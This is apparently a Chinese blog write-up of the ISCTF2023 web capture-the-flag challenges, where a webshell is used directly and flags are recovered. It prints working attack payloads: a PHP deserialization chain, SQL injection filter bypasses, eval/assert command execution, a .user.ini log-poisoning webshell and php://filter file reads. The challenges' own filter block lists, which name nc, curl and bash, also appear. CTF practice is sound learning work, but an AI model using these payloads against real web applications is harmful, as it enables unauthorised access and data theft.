ISCTF2023

圣杯战争!!!

反序列化题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php
highlight_file(__FILE__);
error_reporting(0);

class artifact{
public $excalibuer;
public $arrow;
public function __toString(){
echo "为Saber选择了对的武器!<br>";
return $this->excalibuer->arrow;
}
}

class prepare{
public $release;
public function __get($key){
$functioin = $this->release;
echo "蓄力!咖喱棒!!<br>";
return $functioin();
}
}
class saber{
public $weapon;
public function __invoke(){
echo "胜利!<br>";
include($this->weapon);
}
}
class summon{
public $Saber;
public $Rider;

public function __wakeup(){
echo "开始召唤从者!<br>";
echo $this->Saber;
}
}

if(isset($_GET['payload'])){
unserialize($_GET['payload']);
}
?>

比较简单的反序列化题
先找到include来个伪协议
然后找下一个,__invoke需要被当成函数调用才会触发
那就new一个prepare
赋值给releace
但它的__Get方法还没触发,找下一个
__get是调用的成员属性是私有属性或不存在时触发
找到artifact中有两个参数,new一下
赋值excalibuer,而arrow负责调用__get
而__tostring需要表达方式错误导致魔术方法触发(把对象当成字符串调用)
echo是输出字符串的
所以new一个summon
saber赋值为summon

1
2
3
4
5
6
7
8
9
10
$a=new saber();
$a->weapon='php://filter/convert.base64-encode/resource=flag.php';
$b=new prepare();
$b->release=$a;//调用了__invoke
$c=new artifact();
$c->excalibuer=$b;
$c->arrow='123';//调用了__get
$d=new summon();
$d->Saber=$c;//echo 调用了__toString
echo serialize($d);

where_is_the_flag

1
2
3
4
5
6
7
 <?php
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。
highlight_file(__FILE__);

//标准一句话木马~
eval($_POST[1]);
?>

既然都这么写了,那么直接蚁剑连接省事的多
第一段flag在flag.php中

1
2
3
<?php
$flag = "FLAG1:ISCTF{6ced";
?>

第二段flag在根目录中

1
6033-a4ec-

第三段flag找了很多文件都没找到
在根目录里发现了一个冒红光的文件

1
2
3
4
5
6
7
8
#!/bin/sh
sed -i "s/{{FLAG1}}/${FLAG:0:10}/" /var/www/localhost/htdocs/flag.php
echo ${FLAG:10:10} > /flag2
export FLAG3=${FLAG:20}
FLAG3=${FLAG:20}
export FLAG="flag"
FLAG="flag"
httpd -D FOREGROUND

export是创建一个环境变量的意思
看来第三段flag在环境变量中
回到页面执行命令

1
2
1=system('printenv');
//HOSTNAME=d38fc96b0fdf SHLVL=2 HOME=/root FLAG3=4f5c-bb37-ee81a5ecc139} PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/var/www/localhost/htdocs FLAG=flag

绕进你的心里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
$str = (String)$_POST['pan_gu'];
$num = $_GET['zhurong'];
$lida1 = $_GET['hongmeng'];
$lida2 = $_GET['shennong'];
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){
echo "md5绕过了!";
if(preg_match("/[0-9]/", $num)){
die('你干嘛?哎哟!');
}
elseif(intval($num)){
if(preg_match('/.+?ISCTF/is', $str)){
die("再想想!");
}
if(stripos($str, '2023ISCTF') === false){
die("就差一点点啦!");
}
echo $flag;
}
}
?>

第一个if是md5强碰撞

1
hongmeng=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&shennong=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

preg_match数组绕过即可

1
?zhurong[]=1

最后preg_match用回溯次数限制绕过
在2023ISCTF前面加上好多个a

1
2
3
<?php

echo str_repeat('a',1000000);

这么多a就够了😊

easy_website

看到源码一开始以为是可以x一下的
试了很久没办法绕过实体编码
那就sql注入

1
1' or 1=1#

通过错误回显看到了or被过滤哩

而且空格也被过滤了,用%09代替

双写成功绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
爆库
1'%09ununionion%09seselectlect%09database()#
//users
爆表
'%09ununionion%09seselectlect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()#
//users
爆字段
'%09ununionion%09seselectlect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'#
//用户$USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,user,password$登录成功
爆值
'%09ununionion%09seselectlect%09passwoorrd%09from%09users#
//21232f297a57a5a743894a0e4a801fc3:admin的md5加密值
'%09ununionion%09seselectlect%09passwoorrd%09from%09users%09limit%092,1#
//用户$ISCTF{c51a3cf4-adf5-4cd5-80f3-30c36c3262bd}$登录成功

这里用联合注入有点问题,显示的不全,这题用报错注入要直观很多

wafr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
/*
Read /flaggggggg.txt
*/
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings
die("想读我文件?大胆。");
}
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){
die("无字母数字RCE?大胆!");
}
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){
die("奇技淫巧?大胆!!");
}
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){
die("大胆!!!");
}
else{
assert($_POST['code']);
}

刚开始把这题想歪了,一顿无参rce。。。
这题唯一需要注意的就是 assert($_POST[‘code’]);
assert和eval功能相同,但assert不用在函数后面加;
所以结果很简单

1
2
3
4
5
code=system('ls /')
//bin dev etc flaggggggg.txt home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var
没有禁/和',那就随便绕过过滤了
code=system('c\at /f*')
//ISCTF{437d25ca-b36f-4204-b8af-7937eab665a9}

ez_ini

这题对文件内部的审查很严
所以我们直接用日志包含来获取
上传.user.ini

1
2
GIF89a
auto_prepend_file=/var/log/nginx/access.log

抓包后再ua头后加入一句话木马

1
2
3
<?php system('ls');?>//不能用"",会报错
<?php system('ls /');?>
<?php system('cat /flag');?>

也可以猜flag的位置直接获取
.user.ini

1
2
GIF89a
auto_prepend_file=/flag

webinclude

show me your parameter!!!Wrong parameter!!!
仅有的一行hint提示我们需要一个正确的参数
抓包源代码什么的都没有发现可利用的信息
dirsearch扫扫,
扫出了一个index.bak文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 function string_to_int_array(str){
const intArr = [];

for(let i=0;i<str.length;i++){
const charcode = str.charCodeAt(i);/*返回字符串第一个字符的 Unicode 编码,这里直接理解为ascii码值*/

const partA = Math.floor(charcode / 26);/*返回小于等于一个给定数字的最大整数,向下取整*/
const partB = charcode % 26;

intArr.push(partA);/*这两行的意思是在数组末尾添加新元素*/
intArr.push(partB);
}

return intArr;
}

function int_array_to_text(int_array){
let txt = '';

for(let i=0;i<int_array.length;i++){
txt += String.fromCharCode(97 + int_array[i]);/*返回ASCII码值对应的字符*/
}

return txt;
}


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
window.location = 'flag.html';
}else {
document.getElementById('fail').style.display = '';
}

是个JavaScript代码,上面已经给了函数所对应的意思
要使hash===dxdydxdudxdtdxeadxekdxea才能获得我们要的
需要写一个脚本,先分析一下
嵌套函数,从最里面开始计算
计算过程如下

1
2
a intarr[3,19]->txt=dt->intarr[3,22,4,12]->txt=dwem
b intarr[3,20]->txt=du->intarr[3,22,4,13]->txt=dwen

也就是说,输入一个字符所对应的是hash所匹配的4个字符
dxdydxdudxdtdxeadxekdxea为24个字符,说明我们需要输入6个字符,莫非是mihoyo😋
基于上面的计算规则,写一个python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time


def string_to_int(str):
intarr = []
for k in str:
parta = int(ord(k) / 26)
partb = ord(k) % 26
intarr.append(parta)
intarr.append(partb)
return intarr


def int_to_string(intarr):
txt = ''
for j in intarr:
txt = txt+chr(97+j)
return txt


for i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ':
heheh = int_to_string(string_to_int(int_to_string(string_to_int(i))))
print('{}:{}'.format(i,heheh))


wtf='mihoyo'
wco=int_to_string(string_to_int(int_to_string(string_to_int(wtf))))
print(wco)

python脚本不用说,和上面js实现过程是一样的,直接看结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
a:dwem
b:dwen
c:dweo
d:dwep
e:dweq
f:dwer
g:dwes
h:dxdt
i:dxdu
j:dxdv
k:dxdw
l:dxdx
m:dxdy
n:dxdz
o:dxea
p:dxeb
q:dxec
r:dxed
s:dxee
t:dxef
u:dxeg
v:dxeh
w:dxei
x:dxej
y:dxek
z:dxel
A:dveg
B:dveh
C:dvei
D:dvej
E:dvek
F:dvel
G:dvem
H:dven
I:dveo
J:dvep
K:dveq
L:dver
M:dves
N:dwdt
O:dwdu
P:dwdv
Q:dwdw
R:dwdx
S:dwdy
T:dwdz
U:dwea
V:dweb
W:dwec
X:dwed
Y:dwee
Z:dwef
dxdydxdudxdtdxeadxekdxea

真的是mihoyo哎😍
payload:

1
?mihoyo=php://filter/convert.base64-encode/resource=flag.php

ISCTF2023
http://example.com/2023/12/01/ISCTF2023/
作者
奇怪的奇怪
发布于
2023年12月1日
许可协议